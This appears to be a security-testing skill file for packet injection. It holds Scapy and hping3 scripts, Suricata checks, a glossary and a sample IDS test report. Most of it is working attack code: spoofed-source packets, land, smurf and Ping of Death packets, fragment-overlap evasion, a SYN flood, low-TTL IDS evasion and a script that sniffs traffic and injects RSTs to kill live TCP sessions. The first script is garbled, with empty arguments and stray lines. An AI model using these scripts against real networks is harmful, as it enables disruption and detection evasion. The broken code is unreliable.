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Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.
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基于 SOC 职业分类
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| name | performing-packet-injection-attack |
| description | Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic. |
| domain | cybersecurity |
| subdomain | network-security |
| tags | ["network-security","packet-injection","scapy","hping3","protocol-testing"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"] |
Do not use for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.
#!/usr/bin/env python3
"""Basic packet injection examples using Scapy for authorized testing."""
from scapy.all import *
# TCP SYN packet (port scan simulation)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
if response[TCP].flags == "SA":
print(f"[*] Port 80 is OPEN (SYN-ACK received)")
elif response[TCP].flags == "RA":
print(f"[*] Port 80 is CLOSED (RST-ACK received)")
# TCP XMAS scan packet (all flags set)
xmas = IP(dst=) / TCP(dport=, flags=)
send(xmas, verbose=)
()
null = IP(dst=) / TCP(dport=, flags=)
send(null, verbose=)
()
icmp_custom = IP(dst=) / ICMP(=) / Raw(load=)
send(icmp_custom, verbose=)
()
udp_test = IP(dst=) / UDP(dport=) / DNS(rd=, qd=DNSQR(qname=))
response = sr1(udp_test, timeout=, verbose=)
response:
()
#!/usr/bin/env python3
"""Test anti-spoofing controls with spoofed source IP packets."""
from scapy.all import *
# Spoofed source IP (should be blocked by BCP38/uRPF)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] Sent SYN with spoofed source 192.0.2.100")
# Land attack test (source = destination)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land attack packet sent (src==dst)")
# Smurf attack test (ICMP to broadcast with spoofed source)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf test packet sent (ICMP to broadcast)")
# IP fragment overlap test
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24) # Overlapping fragment
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] Overlapping IP fragments sent")
# TCP RST injection to test connection resilience
# Using hping3 to send RST packets
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10
# SYN flood test (limited volume for testing, not DoS)
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# Note: --flood sends at maximum rate; -c 100 limits to 100 packets
# Test TCP window manipulation
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10 # Zero window
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10 # Max window
# Idle scan probe (to test if a host can be used as zombie)
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# Check IP ID values in response for predictability
#!/usr/bin/env python3
"""TCP RST injection to test session resilience."""
from scapy.all import *
# Sniff for an active TCP connection and inject RST
def rst_inject(pkt):
if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
rst = IP(
src=pkt[IP].dst,
dst=pkt[IP].src
) / TCP(
sport=pkt[TCP].dport,
dport=pkt[TCP].sport,
seq=pkt[TCP].ack,
flags="R"
)
send(rst, verbose=0)
print(f"[*] RST injected: {pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")
# Sniff for 10 packets and attempt RST injection
print("[*] Listening for TCP ACK packets to inject RST...")
sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")
#!/usr/bin/env python3
"""Protocol anomaly packets for IDS/firewall testing."""
from scapy.all import *
target = "10.10.20.10"
# Ping of Death (oversized ICMP - should be blocked)
pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
send(fragment(pod), verbose=0)
print("[*] Ping of Death fragments sent")
# Tiny fragment attack (TCP header split across fragments)
tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
send(tiny_frag, verbose=0)
send(tiny_frag2, verbose=0)
print("[*] Tiny fragment attack packets sent")
# Invalid TCP flag combinations
invalid_flags = [
("SYN+FIN", "SF"),
("SYN+RST", "SR"),
("FIN only (no session)", "F"),
("All flags", "FSRPAUEC"),
]
for name, flags in invalid_flags:
pkt = IP(dst=target) / TCP(dport=80, flags=flags)
send(pkt, verbose=0)
print(f"[*] Sent packet with invalid flags: {name}")
# TTL-based evasion (packets that expire before reaching IDS)
# Assumes IDS is 2 hops away, target is 5 hops
ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags="S")
send(ttl_evade, verbose=0)
print("[*] Low-TTL evasion packet sent (TTL=3)")
# IP options padding
ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=80, flags="S")
send(ip_opts, verbose=0)
print("[*] Packet with IP Record Route option sent")
# Check Snort/Suricata for alerts triggered by injected packets
grep -i "xmas\|null\|land\|smurf\|ping.of.death\|fragment" /var/log/suricata/eve.json | \
python3 -m json.tool | head -50
# Expected IDS alerts:
# - XMAS scan detected (SID: 2100330)
# - NULL scan detected (SID: 2100331)
# - Land attack detected
# - Smurf attack detected
# - Fragmentation anomaly
# - Invalid TCP flags
# Verify firewall dropped spoofed packets
sudo iptables -L -n -v | grep -i drop
# Check for fragmentation reassembly errors
dmesg | grep -i "fragment\|frag"
# Generate test results summary
cat > packet_injection_report.txt << 'EOF'
Packet Injection Test Results
=============================
Date: $(date)
Target: 10.10.20.10
Tester: Security Assessment Team
Test 1: TCP XMAS Scan
IDS Detection: YES (Suricata SID 2100330)
Firewall Action: Dropped
Test 2: IP Spoofing (192.0.2.100)
uRPF Block: YES (packet dropped at edge router)
IDS Detection: YES (source not in HOME_NET)
Test 3: Fragmentation Overlap
IDS Detection: YES (stream reassembly anomaly)
Target Response: Fragments dropped by OS
Test 4: Invalid TCP Flags
IDS Detection: YES (SYN+FIN, SYN+RST flagged)
Firewall Action: Dropped
EOF
| Term | Definition |
|---|---|
| Packet Injection | Crafting and sending network packets with specific header values, payloads, or flag combinations to test network security controls |
| IP Spoofing | Setting a false source IP address in crafted packets to test anti-spoofing controls (BCP38, uRPF) or impersonate another host |
| TCP RST Injection | Sending forged TCP RST packets to terminate established connections, testing session resilience and connection reset defenses |
| Fragmentation Attack | Exploiting IP fragmentation to split malicious payloads across fragments, evading packet inspection that does not reassemble fragments |
| uRPF (Unicast Reverse Path Forwarding) | Router-level anti-spoofing mechanism that drops packets if the source IP would not be routable back through the ingress interface |
| BCP38 (Network Ingress Filtering) | Best Current Practice for preventing IP spoofing at network borders by filtering packets with source addresses not belonging to the network |
Context: A SOC team deployed new Suricata rules for detecting reconnaissance and evasion techniques. They need to validate that the rules trigger correctly before going live. The testing is performed in a staging environment replicating the production network.
Approach:
Pitfalls:
## Packet Injection Test Report
**Target**: 10.10.20.10 (test-server-01)
**IDS Sensor**: suricata-staging-01
**Test Date**: 2024-03-15
### Test Matrix
| Test | Packet Type | Expected Detection | Actual Result |
|------|-------------|-------------------|---------------|
| 1 | TCP XMAS Scan | SID 2100330 | DETECTED |
| 2 | TCP NULL Scan | SID 2100331 | DETECTED |
| 3 | SYN+FIN Invalid | SID 2100332 | DETECTED |
| 4 | IP Spoofed Source | SID 2003000 | DETECTED |
| 5 | Land Attack | SID 2100333 | NOT DETECTED |
| 6 | Fragment Overlap | SID 2200001 | DETECTED |
| 7 | Ping of Death | SID 2100334 | DETECTED |
| 8 | TCP RST Injection | Custom SID | NOT DETECTED |
### Detection Rate: 6/8 (75%)
### Gaps Identified
1. Land attack (src==dst) not detected -- add rule SID 2100333
2. TCP RST injection not detected -- create custom rule for out-of-window RST